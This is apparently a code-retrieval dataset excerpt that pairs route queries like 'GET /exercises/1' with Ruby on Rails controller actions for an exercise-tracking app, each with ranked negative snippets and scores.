query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
GET /exercises GET /exercises.json
def index @exercises = Exercise.paginate(:page => params[:page], :per_page => 10).order('created_at DESC') respond_to do |format| format.html # index.html.erb format.json { render :json => @exercises } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @exercises }\n end\n end", "def index\n @api_v1_exercises = Api::V1::Exercise.all\n end", "def index\n @do_exercises = DoExercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @do_exercises }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def index\n @exercises = Exercise.all\n @user = current_user # changed get logged user\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @exercise }\n end\n end", "def show\n @exercise = Exercise.find_by_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def show\n render json: @exercise_template\n end", "def show\n @do_exercise = DoExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @do_exercise }\n end\n end", "def show\n @exercises = Exercise.where(\"chapter_id = ?\", params[:id]).order(:number)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chapter }\n end\n end", "def index\n @programme_exercises = ProgrammeExercise.all\n end", "def index\n @user = User.find(params[:user_id])\n @exercises = @user.exercises.all\n end", "def index\n @exercise_sets = ExerciseSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercise_sets }\n end\n end", "def index\n @oncourse_exercises = OncourseExercise.all\n\n\n\n end", "def show\n @exercise_set = ExerciseSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_set }\n end\n end", "def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end", "def index\n @user = User.find(current_user.id)\n @exercises = Exercise.all\n end", "def show\n @daily_exercise = DailyExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @daily_exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @exercise }\n end\n\n end", "def show\n @patient_exercise = PatientExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patient_exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @exercise }\n end\n end", "def index\n @exercises = current_company.exercises.all\n flash[:notice] = t('flash.actions.index.notice') if @exercises.empty?\n respond_with(@exercises)\n end", "def show\n @workout_day = WorkoutDay.find(params[:id])\n\n @exercises = @workout_day.exercises\n\n assign_exercises_selection_list\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout_day }\n end\n end", "def show\n @exercise_category = ExerciseCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_category }\n end\n end", "def show\n @exercise_category = ExerciseCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_category }\n end\n end", "def index\n @solutions = @idea.solutions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @solutions }\n end\n end", "def show\n respond_with(@exercise)\n end", "def show\n @exercise_log = ExerciseLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_log }\n end\n end", "def index\n @exercises = Exercise.where(is_public: true)\n end", "def index\n @exercises = Exercise.search(params)\n # @exercises = Kaminari.paginate_array(@exercises).page(params[:exercise_page]).per(PER_PAGE_RECORDS)\n end", "def index\n @exercises = Exercise.where(published: true).all\n @user_exercises = current_user.exercises.all\n \n end", "def set_api_v1_exercise\n @api_v1_exercise = Api::V1::Exercise.find(params[:id])\n end", "def set_api_v1_exercise\n @api_v1_exercise = Api::V1::Exercise.find(params[:id])\n end", "def show\n @exercise = Exercise.find(params[:id])\n\t\tsection = Section.find(@exercise.section_id)\n\t\t@exercises = section.exercises.order(\"index\")\n\t\t@tutorial_id = section.tutorial_id\n\t\t@section_name = section.subtitle\n\n if signed_in?\n @result = Result.where(:user_id => current_user.id, :exercise_id => params[:id]).first\n if @result and @result.is_correct\n @exercise_correct = true\n else\n @exercise_correct = false\n end\n else\n @result = nil\n @exercise_correct = false\n end\n \n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @exercise }\n #end\n render :layout => 'application_no_footer'\n end", "def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end", "def show\n @exercise_instruction = ExerciseInstruction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_instruction }\n end\n end", "def index\n @lectures = Lecture.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lectures }\n end\n end", "def new\n @exercise_set = ExerciseSet.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_set }\n end\n end", "def show\n if @workout.private and @workout.owner != current_user\n redirect_to :back, alert: \"Private workout, access denied.\"\n end\n\n respond_to do |format|\n format.json { render json: {workout: @workout, exercises: @workout.exercises.select(\"id, name, dur, cat\")}, status: 200 }\n format.html\n end\n end", "def exercises\n ids = self.exercise_records.pluck(:exercise_id)\n Exercise.where(id: ids)\n end", "def new\n @do_exercise = DoExercise.new(params[:do_exercise])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @do_exercise }\n end\n end", "def index\n @ideas = Idea.all\n\n render json: @ideas\n end", "def create\n exercise = Exercise.create(exercise_params)\n if exercise\n render json: exercise\n else\n render json: {error: 'Workout was not created.'}\n end\n end", "def index\n @exercise_tasks = ExerciseTask.all\n end", "def index\n \n @steps = @quest.steps\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @steps }\n end\n end", "def create\n @api_v1_exercise = Api::V1::Exercise.new(api_v1_exercise_params)\n\n respond_to do |format|\n if @api_v1_exercise.save\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_exercise }\n else\n format.html { render :new }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @exercise }\n end\n end", "def show\n p exercise_id = params[:exercise_id]\n p @exercise = Exercise.find(exercise_id)\n p @texts = Text.where(exercise_id: @exercise.id)\n p @inputs = Input.where(exercise_id: @exercise.id)\n end", "def show\n @solution = @idea.solutions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @solution }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def index\n @exerciseoverviews = Exerciseoverview.all\n end", "def show\n @exercise = Exercise.find(params[:id])\n @groups = @current_user.groups\n\n if @current_user.valid_exercise? @exercise\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @exercise }\n end\n else\n redirect_to :root, :notice => \"You can't see this contest\"\n end\n end", "def index\n @workout_routines = WorkoutRoutine.all\n @exercises = Exercise.all\n end", "def new\n @daily_exercise = DailyExercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @daily_exercise }\n end\n end", "def index\n @experiments = Experiment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @experiments }\n end\n end", "def index\n @teaches = Teach.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teaches }\n end\n end", "def show\n exercise_illustration = case @exercise.blank?\n when true\n ExerciseIllustration.where(token: params[:exercise_id], id: params[:id])\n when false\n @exercise.exercise_illustrations.find(params[:id])\n end\n\n render json: exercise_illustration\n end", "def index\n @my_exams = MyExam.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_exams }\n end\n end", "def index\n @exercise_names = ExerciseName.all\n end", "def new\n @patient_exercise = PatientExercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient_exercise }\n end\n end", "def show\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_plan }\n end\n end", "def show\n @my_exercise = MyExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @my_exercise }\n end\n end", "def index\n\t\t@exercises = Exercise.liked_by(current_user.id).search_by_name(params[:search_name]).search_by_type(params[:search_type]).search_by_owner(params[:search_owner]).published\n\t\t\t.concat(Exercise.owned_by(current_user.id).search_by_name(params[:search_name]).search_by_type(params[:search_type]).search_by_owner(params[:search_owner]).published)\n\t\t\t.concat(Exercise.owned_by(current_user.id).search_by_name(params[:search_name]).search_by_type(params[:search_type]).search_by_owner(params[:search_owner]).unpublished)\n\t\t\t.paginate(:page => params[:page], :per_page => 10)\n\t\t\t#Exercise.liked_by(current_user.id).published.paginate(:page => params[:page], :per_page => 30)\n\t\tlogger.debug \"wisport #{@exercises}\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n\t\t\tformat.js\n end\n end", "def index\n @problems = Problem.all\n\n render json: @problems\n end", "def index\n @ideas = Idea.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ideas }\n end\n end", "def index\n @ideas = Idea.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ideas }\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, :notice => 'exercise was successfully created.' }\n format.json { render :json => @exercise, :status => :created, :location => @exercise }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @api_v1_exercise.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def show\n @exercises = Exercise.all\n @workout_routines = WorkoutRoutine.all\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def test\n get(\"/help/test.json\")\n end", "def test\n get(\"/help/test.json\")\n end", "def show\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam }\n end\n end", "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end", "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html\n format.json do\n render json: @tutorials\n end\n end\nend", "def show\n @story = Story.find(params[:id])\n @epics = Epic.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def create\n @exercise = @workout.exercises.new(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: I18n.t('exercises.created') }\n format.json { render :show, status: :created, location: @exercise }\n else\n format.html { render :new }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: \"Exercise was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def index\n @exhibits = Exhibit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exhibits }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n\tif (params.has_key?(:workout_id))\n\t\tset_workout\n\t\t@exercises = @workout.exercises.paginate(page: params[:page])\n\t\t\t\n\t\t#@exercises = current_user.exercises.find(params[:workout_exercises][:workout_id])\n\telse\n\t\t@exercises = current_user.exercises.paginate(page: params[:page])\n\tend\t\n\t\n end", "def index\n @lifts = Lift.all\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lifts }\n end\n end", "def destroy\n @oncourse_exercise.destroy\n respond_to do |format|\n format.html { redirect_to oncourse_exercises_url }\n format.json { head :no_content }\n end\n end", "def show\n @puzzle = Puzzle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puzzle }\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Exercise was successfully created.' }\n format.json { render json: @exercise, status: :created, location: @exercise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @exercises = @programme.exercises\n if params[:search]\n @search = Exercise.search do\n fulltext params[:search]\n end\n @exSearch = @search.results\n else\n @exSearch = Exercise.all\n end\n end" ]
[ "0.783679", "0.783679", "0.77817446", "0.75752074", "0.74295366", "0.72863555", "0.72863555", "0.7261397", "0.72165775", "0.7173775", "0.6936795", "0.6923066", "0.6891667", "0.68783736", "0.6845835", "0.68213016", "0.6779002", "0.67506135", "0.6729376", "0.66589105", "0.6610842", "0.6607508", "0.6607508", "0.6607508", "0.6607508", "0.6581699", "0.6566324", "0.6558283", "0.6531376", "0.6458644", "0.6405088", "0.6405088", "0.6399304", "0.6398387", "0.63379586", "0.6321189", "0.6297751", "0.62681335", "0.6264159", "0.6264159", "0.6261133", "0.6250758", "0.6233445", "0.6214854", "0.6186467", "0.61718243", "0.6152468", "0.6102239", "0.6101245", "0.6090852", "0.60796404", "0.6056472", "0.60478044", "0.6042869", "0.6037335", "0.6028413", "0.6028109", "0.60278195", "0.60278195", "0.60278195", "0.60278195", "0.6025484", "0.6025484", "0.60089433", "0.600411", "0.5987521", "0.59822094", "0.59791726", "0.59647024", "0.59632784", "0.59591365", "0.5951084", "0.59446853", "0.5940999", "0.593579", "0.5926356", "0.5921748", "0.59190685", "0.5906256", "0.5894089", "0.5873568", "0.58694005", "0.5859122", "0.5853111", "0.5853111", "0.58347714", "0.58298236", "0.5806607", "0.5803646", "0.5798991", "0.5794111", "0.57923734", "0.5790631", "0.5790631", "0.57882816", "0.5774055", "0.57732534", "0.57639605", "0.5746141", "0.574484" ]
0.70971286
10
GET /exercises/1 GET /exercises/1.json
def show @exercise = Exercise.find(params[:id]) @groups = @current_user.groups if @current_user.valid_exercise? @exercise respond_to do |format| format.html # show.html.erb format.json { render :json => @exercise } end else redirect_to :root, :notice => "You can't see this contest" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @exercises }\n end\n end", "def index\n @api_v1_exercises = Api::V1::Exercise.all\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def show\n @exercise = Exercise.find_by_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @exercise }\n end\n end", "def index\n @do_exercises = DoExercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @do_exercises }\n end\n end", "def show\n @exercises = Exercise.where(\"chapter_id = ?\", params[:id]).order(:number)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chapter }\n end\n end", "def show\n @do_exercise = DoExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @do_exercise }\n end\n end", "def index\n @exercises = Exercise.all\n @user = current_user # changed get logged user\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def show\n @exercise_set = ExerciseSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_set }\n end\n end", "def show\n render json: @exercise_template\n end", "def index\n @exercises = Exercise.paginate(:page => params[:page], :per_page => 10).order('created_at DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @exercises }\n end\n end", "def set_api_v1_exercise\n @api_v1_exercise = Api::V1::Exercise.find(params[:id])\n end", "def set_api_v1_exercise\n @api_v1_exercise = Api::V1::Exercise.find(params[:id])\n end", "def show\n @patient_exercise = PatientExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patient_exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def index\n @programme_exercises = ProgrammeExercise.all\n end", "def index\n @exercise_sets = ExerciseSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercise_sets }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @exercise }\n end\n\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @exercise }\n end\n end", "def show\n @daily_exercise = DailyExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @daily_exercise }\n end\n end", "def index\n @user = User.find(params[:user_id])\n @exercises = @user.exercises.all\n end", "def show\n @exercise_category = ExerciseCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_category }\n end\n end", "def show\n @exercise_category = ExerciseCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_category }\n end\n end", "def show\n @exercise_log = ExerciseLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_log }\n end\n end", "def index\n @oncourse_exercises = OncourseExercise.all\n\n\n\n end", "def show\n @exercise_instruction = ExerciseInstruction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_instruction }\n end\n end", "def index\n @user = User.find(current_user.id)\n @exercises = Exercise.all\n end", "def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end", "def new\n @exercise_set = ExerciseSet.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_set }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\t\tsection = Section.find(@exercise.section_id)\n\t\t@exercises = section.exercises.order(\"index\")\n\t\t@tutorial_id = section.tutorial_id\n\t\t@section_name = section.subtitle\n\n if signed_in?\n @result = Result.where(:user_id => current_user.id, :exercise_id => params[:id]).first\n if @result and @result.is_correct\n @exercise_correct = true\n else\n @exercise_correct = false\n end\n else\n @result = nil\n @exercise_correct = false\n end\n \n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @exercise }\n #end\n render :layout => 'application_no_footer'\n end", "def show\n @workout_day = WorkoutDay.find(params[:id])\n\n @exercises = @workout_day.exercises\n\n assign_exercises_selection_list\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout_day }\n end\n end", "def show\n respond_with(@exercise)\n end", "def create\n @api_v1_exercise = Api::V1::Exercise.new(api_v1_exercise_params)\n\n respond_to do |format|\n if @api_v1_exercise.save\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_exercise }\n else\n format.html { render :new }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @do_exercise = DoExercise.new(params[:do_exercise])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @do_exercise }\n end\n end", "def show\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_plan }\n end\n end", "def index\n @solutions = @idea.solutions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @solutions }\n end\n end", "def show\n @solution = @idea.solutions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @solution }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @exercise }\n end\n end", "def new\n @patient_exercise = PatientExercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient_exercise }\n end\n end", "def show\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam }\n end\n end", "def show\n exercise_illustration = case @exercise.blank?\n when true\n ExerciseIllustration.where(token: params[:exercise_id], id: params[:id])\n when false\n @exercise.exercise_illustrations.find(params[:id])\n end\n\n render json: exercise_illustration\n end", "def show\n p exercise_id = params[:exercise_id]\n p @exercise = Exercise.find(exercise_id)\n p @texts = Text.where(exercise_id: @exercise.id)\n p @inputs = Input.where(exercise_id: @exercise.id)\n end", "def index\n @exercises = current_company.exercises.all\n flash[:notice] = t('flash.actions.index.notice') if @exercises.empty?\n respond_with(@exercises)\n end", "def show\n if @workout.private and @workout.owner != current_user\n redirect_to :back, alert: \"Private workout, access denied.\"\n end\n\n respond_to do |format|\n format.json { render json: {workout: @workout, exercises: @workout.exercises.select(\"id, name, dur, cat\")}, status: 200 }\n format.html\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def index\n @exercises = Exercise.where(is_public: true)\n end", "def new\n @daily_exercise = DailyExercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @daily_exercise }\n end\n end", "def show\n @my_exercise = MyExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @my_exercise }\n end\n end", "def index\n @exercises = Exercise.search(params)\n # @exercises = Kaminari.paginate_array(@exercises).page(params[:exercise_page]).per(PER_PAGE_RECORDS)\n end", "def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end", "def show\n @practice = Practice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @practice }\n end\n end", "def show\n @practice = Practice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @practice }\n end\n end", "def show\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @experiment }\n end\n end", "def show\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @experiment }\n end\n end", "def show\n @puzzle = Puzzle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puzzle }\n end\n end", "def index\n @ideas = Idea.all\n\n render json: @ideas\n end", "def index\n \n @steps = @quest.steps\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @steps }\n end\n end", "def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial.to_hash(false) }\n end\n end", "def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend", "def index\n @experiments = Experiment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @experiments }\n end\n end", "def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end", "def show\n begin\n @example = Example.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n # last URL parameter is not example ID, but the example's number\n @example = @language.examples.where(number: params[:id].to_i).first\n end\n @examples = [@example]\n respond_to do |format|\n format.html { render 'examples/index' } # also show index.html.erb\n format.json { render json: @example }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial }\n end\n end", "def create\n exercise = Exercise.create(exercise_params)\n if exercise\n render json: exercise\n else\n render json: {error: 'Workout was not created.'}\n end\n end", "def index\n @exercise_tasks = ExerciseTask.all\n end", "def destroy\n @api_v1_exercise.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def show\n @lecture_note = LectureNote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lecture_note }\n end\n end", "def index\n @exerciseoverviews = Exerciseoverview.all\n end", "def index\n @lectures = Lecture.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lectures }\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, :notice => 'exercise was successfully created.' }\n format.json { render :json => @exercise, :status => :created, :location => @exercise }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @exercises = Exercise.where(published: true).all\n @user_exercises = current_user.exercises.all\n \n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def set_exercise\n @exercise = Exercise.find(params[:id])\n end", "def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end", "def update\n respond_to do |format|\n if @api_v1_exercise.update(api_v1_exercise_params)\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_exercise }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quest }\n end\n end", "def index\n @my_exams = MyExam.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_exams }\n end\n end", "def show\n @study = Study.find(params[:id])\n render json: @study\n end", "def index\n @problems = Problem.all\n\n render json: @problems\n end", "def index\n @ideas = Idea.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ideas }\n end\n end", 